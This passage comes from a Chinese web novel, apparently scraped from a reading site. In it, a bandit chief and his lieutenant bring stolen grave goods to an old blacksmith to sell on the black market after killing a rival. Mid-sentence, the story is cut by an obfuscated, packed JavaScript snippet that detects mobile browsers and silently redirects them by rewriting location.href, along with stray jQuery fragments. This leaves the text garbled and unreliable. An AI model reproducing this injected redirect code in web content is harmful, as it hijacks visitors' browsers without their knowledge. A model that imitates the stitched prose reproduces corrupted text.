他一言九鼎,答应过李颦带蔷薇花样的裙子,还有画图纸的炭条,他都会给她。 雍州有东南西北四个大街,在东街则聚集着以作坊形式开设的商铺,多是工匠、铁匠、器皿摆设、家具家装这些集成地,铺子的老板都是给百姓供货,只有那些有点门路的能搭上官府的线,给官府稳定供货。 而老铁就是东街老铁匠铺的老板。 他家世代打铁制器,自然有流传下来的好手艺,雍州许多人家的铁锅、菜刀、锄头这些铁具都爱找他锻造和修补,他也自然有门路给官府供刀、剑、枪头这些,就连马蹄铁他也能做。 老铁这样的能人偏暗中与顾若磐这个土匪有了交集。 深夜时分,雍州很多铺子早早落了闩,关了门,老铁的老铁匠铺也一样。 只是他年纪大了,睡觉浅,他睡在铺子后边的偏房里,听到微弱的声音都会被惊醒。 咚,咚咚,咚咚咚,咚。 敲窗的声音有刻意的节奏,一短、两长、三缓,最后以短收尾。 这是黑风寨与他的暗号。 老铁掀开棉被,麻利地穿起衣裳,将后门给打开。 他甫一开门,顾若磐那张沾着血的面具在月光下泛着阴森的冷光。 “我的祖宗,你就这么来街上?也不怕被人碰见!” 老铁探身往外头瞧,好在夜深无人,他的铺子后面站满了黑风寨的人,个个手里都抬着箱子。 “快进来,快进来!” 顾若磐拍了下老铁的肩膀,手一挥,身后的人鱼贯而入,放下箱子便离开。 不大一会儿,箱子都在院里堆了一片,等后门被关上时,黑风寨的人就只剩下顾若磐和孙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029361|194511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江了。 “这是......?” 顾若磐一把将面具摘下,上头有甄耀祖的血腥气,难闻得紧。 他随手将面具扔到箱子上,用手将垂落的乌发往脑后捋,光洁的额头衬着寒凉的月色,真是一副冷月无双之态。 “这些都是甄豪的陪葬,老铁你找黑市的卖掉,跟以前一样,卖了换来的钱,你也分两成。” 老铁追着到铺子里坐下的顾若磐,讶异地话都有些说不顺溜,“甄......甄财主的......陪葬?” 孙江老早就坐了进来,很自得地给自己和顾若磐倒了杯水,看老铁缩成一团的样子,好笑地摇摇头,也给老铁倒了杯水,推到他的跟前。 “对,所以要快,今晚全部换到黑市去最好,因为甄耀祖被我们杀了,明日雍州不会很太平。” 老铁屁股刚挨上凳子,一个趔趄给摔了个屁股蹲。 “你们杀了甄耀祖!” 他连疼都顾不得,站起身连连摆头,“你们啊!胆子怎么这么大!甄家有冯县令撑腰,真追究起来,你们寨子怎么办?” 顾若磐仰头喝完水,将杯子放到桌上,一片乌漆嘛黑中,他的眼睛却像燃烧的火焰,灼灼如华。 “放心,我们手上有冯老头子的把柄,他还想继续当这个县令就不会找我们黑风寨的麻烦,您老就等着衙门去剿黄坡寨吧。” 顾若磐指向院子外头的箱子,“那些东西要快些换完,今晚能成吗?” 老铁沉吟片刻,长长的眉毛纠结在一起,绕着圆桌转了两圈,“能行,就是急卖的话会被杀价。” “无事,就算杀价三成也能行。”顾若磐用手撑在桌上,吁出口气,一脸的轻松,“只要杀了甄耀祖这个狗屎东西,本大爷就高兴。” 老铁是知道黑风寨和甄耀祖的恩怨的,所以他心里虽不赞同顾若磐不做万全准备去杀人,但是也不好多说什么,只嘱咐他们要多留后手,将西邙田能指向黑风寨的东西都清理干净。 “老铁放心,我们今日用的刀都是黄坡寨的,送葬的那些人我们可没动一根毫毛,只杀了甄耀祖和随行的打手。” 孙江劝老铁放心。 老铁才长叹口气,摇着头说:“行,我去拿东西,尽量把箱子里头的东西卖个好价钱。” 他准备进内屋里拿藏在铁匣子里的黑市信物,只有带上信物去东街最里头的当铺店子,拿给掌柜的瞧一眼,才能跟黑市的大老板搭上线。 “老铁,你知道哪儿有炭条么?” 顾若磐敲定了买卖甄豪陪葬品一事,手指在漆黑的夜里沿着杯沿转圈。 这是他心下踌躇时,会做的动作。 “噢,对,差点忘了!是我们寨子里有个娘子需要用炭笔画图,如果没有炭笔就用炭条也行。” 孙江似乎想起什么,把大腿一拍,对着老铁补充道。 “炭笔......我老头子还真没听过,不过炭条我这儿就有,就是把榛木丢窑里烧成的炭条,我家女婿有时候舍不得用毛笔蘸墨练字,所以会用炭条。” “店里有一大篓子,我一会儿我拿给你们。” 老铁觉得这简直是小事一桩,不过心里倒是有些意外,黑风寨的小娘子到底要画什么东西,值得惊动顾若磐这个寨主亲自来问......